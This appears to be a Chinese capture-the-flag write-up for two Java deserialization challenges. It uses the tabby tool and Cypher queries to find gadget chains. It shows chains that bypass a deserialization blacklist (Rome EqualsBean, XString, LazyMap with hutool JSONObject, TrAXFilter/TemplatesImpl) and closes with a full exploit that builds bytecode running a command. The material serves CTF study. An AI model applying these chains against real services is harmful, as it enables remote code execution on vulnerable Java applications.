环境配置 参考作者的环境配置
https://github.com/wh1t3p1g/tabby
https://github.com/wh1t3p1g/tabby/wiki/Tabby
想要带上jdk一起分析,需要打开这个配置
1 tabby.build.isJDKProcess = true
语法可以参考
https://www.w3cschool.cn/neo4j/
https://www.jianshu.com/p/0e44cadbe194
b4bycoffee 题目存在反序列化入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @RequestMapping({"/b4by/coffee"}) public Message order (@RequestBody CoffeeRequest coffee) throws IOException, ClassNotFoundException, ConfigurationException { if (coffee.Venti != null ) { InputStream inputStream = new ByteArrayInputStream (Base64.getDecoder().decode(coffee.Venti)); AntObjectInputStream antInputStream = new AntObjectInputStream (inputStream); Venti venti = (Venti)antInputStream.readObject(); return new Message (200 , venti.getcoffeeName()); } if (coffee.espresso > 0.5D ) return new Message (200 , "DOPPIO" ); if (coffee.hotWater > 0.5D ) return new Message (200 , "AMERICANO" ); if (coffee.milkFoam > 0.0D && coffee.steamMilk > 0.0D ) return (coffee.steamMilk > coffee.milkFoam) ? new Message (200 , "CAPPUCCINO" ) : new Message (200 , "Latte" ); return (coffee.espresso > 0.0D ) ? new Message (200 , "Espresso" ) : new Message (200 , "empty" ); }
题目所给的coffeeBean这个类中存在恶意方法toString,可以执行字节码,这里要找的就是readObject->toString的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 public String toString () { CoffeeBean coffeeBean = new CoffeeBean (); Class clazz = coffeeBean.defineClass((String)null , this .ClassByte, 0 , this .ClassByte.length); Object var3 = null ; try { var3 = clazz.newInstance(); } catch (InstantiationException var5) { var5.printStackTrace(); } catch (IllegalAccessException var6) { var6.printStackTrace(); } return "A cup of Coffee --" ; }
题目的依赖有rome,版本是1.7,rome常见的利用链如下
Gadget
长度
BadAttributeValueExpException利用链
3620
ObjectBean利用链
3428
HashTable利用链
3484
EqualsBean利用链
2920
反序列化的黑名单如下
1 2 3 4 5 6 7 8 9 public AntObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); this .list = new ArrayList <>(); this .list.add(BadAttributeValueExpException.class.getName()); this .list.add(ObjectBean.class.getName()); this .list.add(ToStringBean.class.getName()); this .list.add(TemplatesImpl.class.getName()); this .list.add(Runtime.class.getName()); }
可以看到这里是能用EqualsBean这条链子的,具体如下
1 2 3 4 5 java.util.HashMap#readObject java.util.HashMap#hash com.rometools.rome.feed.impl.EqualsBean#hashCode com.rometools.rome.feed.impl.EqualsBean#beanHashCode com.example.b4bycoffee.model.CoffeeBean#toString
这里也可以使用tabby验证一下,顺便找找有没有别的利用链,这里使用的函数是findJavaGadget,找java.util.HashMap的readObject能触发到toString的链子
1 2 3 4 5 match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"}) match (sink:Method {NAME:"toString"}) with source, collect(sink) as sinks call tabby.algo.findJavaGadget(source, sinks, 12, false, false) yield path where none(n in nodes(path) where n.CLASSNAME in ["javax.management.BadAttributeValueExpException","com.sun.jmx.snmp.SnmpEngineId","com.sun.xml.internal.ws.api.BindingID","javax.swing.text.html.HTML$UnknownTag"]) return path limit 5
查找的结果如下,其中存在一个节点,com.sun.org.apache.xpath.internal.objects.XString,他的equals方法会触发toString,满足我们的要求
具体链子也很简单,是不需要rome依赖的
1 2 3 4 5 java.util.HashMap#readObject java.util.HashMap#putVal java.lang.Object#equals com.sun.org.apache.xpath.internal.objects.XString#equals com.example.b4bycoffee.model.CoffeeBean#toString
这里的具体触发需要构造一下,因为HashMap的putVal触发equals是有条件的
一种方式是构造两个HashMap
1 2 3 4 5 6 7 8 9 10 11 CoffeeBean coffeeBean = new CoffeeBean ();setFieldValue(coffeeBean, "ClassByte" , code); XString xString = new XString ("11111" );HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("yy" ,coffeeBean); map1.put("zZ" ,xString); map2.put("yy" ,xString); map2.put("zZ" ,coffeeBean); Object o = makeMap(map1,map2);
另一种是利用HotSwappableTargetSource
1 2 3 4 5 6 7 8 CoffeeBean coffeeBean = new CoffeeBean ();setFieldValue(coffeeBean, "ClassByte" , code); XString xString = new XString ("11111" );HotSwappableTargetSource v1 = new HotSwappableTargetSource (coffeeBean);HotSwappableTargetSource v2 = new HotSwappableTargetSource (xString);Object o = makeMap(v1,v2);
Deserbug 国赛的一道题目,依赖是cc-3.2.2还有hutool-5.8.18
比赛时放出的hint:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
hutool 里面有 JSONArray 和 JSONObject 类, 看名字感觉很像 fastjson 的类,但实际上经过测试它们只会在 add / put 的时候触发任意 getter / setter,调用 toString 时并不会触发
具体如何触发,可以利用cc中的LazyMap这个类
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
原先cc链中是利用LazyMap来触发transform,这里可以用来触发put
我们也可以利用tabby来找到这条利用链
1 2 3 4 5 match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"}) match (sink:Method {NAME:"put",CLASSNAME:"cn.hutool.json.JSONObject"}) with source, collect(sink) as sinks call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path where any(n in nodes(path) where n.CLASSNAME starts with "org.apache.commons.collections.") return path limit 1
当我们能够任意触发getter后可以想到直接使用TemplateImpl来执行字节码,但是hutool源码中有这样的处理
1 return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject (object, jsonConfig);
如果是JSONObejct里面是jdk的内部类,则会直接返回object.toString(),不是内部类才会返回JSONObject,所以这里想调用TemplateImpl需要用到题目中的的Myexpect类,触发getAnyexcept()方法
1 2 3 4 public Object getAnyexcept () throws Exception { Constructor con = this .targetclass.getConstructor(this .typeparam); return con.newInstance(this .typearg); }
再调用TrAXFilter的构造函数即可走到TemplateImpl中
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
最终的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "A.R." ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Myexpect myexpect = new Myexpect (); myexpect.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class); myexpect.setTypeparam(new Class []{Templates.class}); myexpect.setTypearg(new Object []{templates}); ConstantTransformer constantTransformer = new ConstantTransformer (1 ); JSONObject jsonObject = new JSONObject (); Map lazyMap = LazyMap.decorate(jsonObject, constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "foo" ); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"aaa" ); setFieldValue(constantTransformer,"iConstant" ,myexpect); jsonObject.clear(); String b64 = serialize(hashMap); System.out.println(b64); unserialize(b64); }
Reference https://mp.weixin.qq.com/s/u7RuSmBHy76R7_PqL8WJww
https://www.w3cschool.cn/neo4j/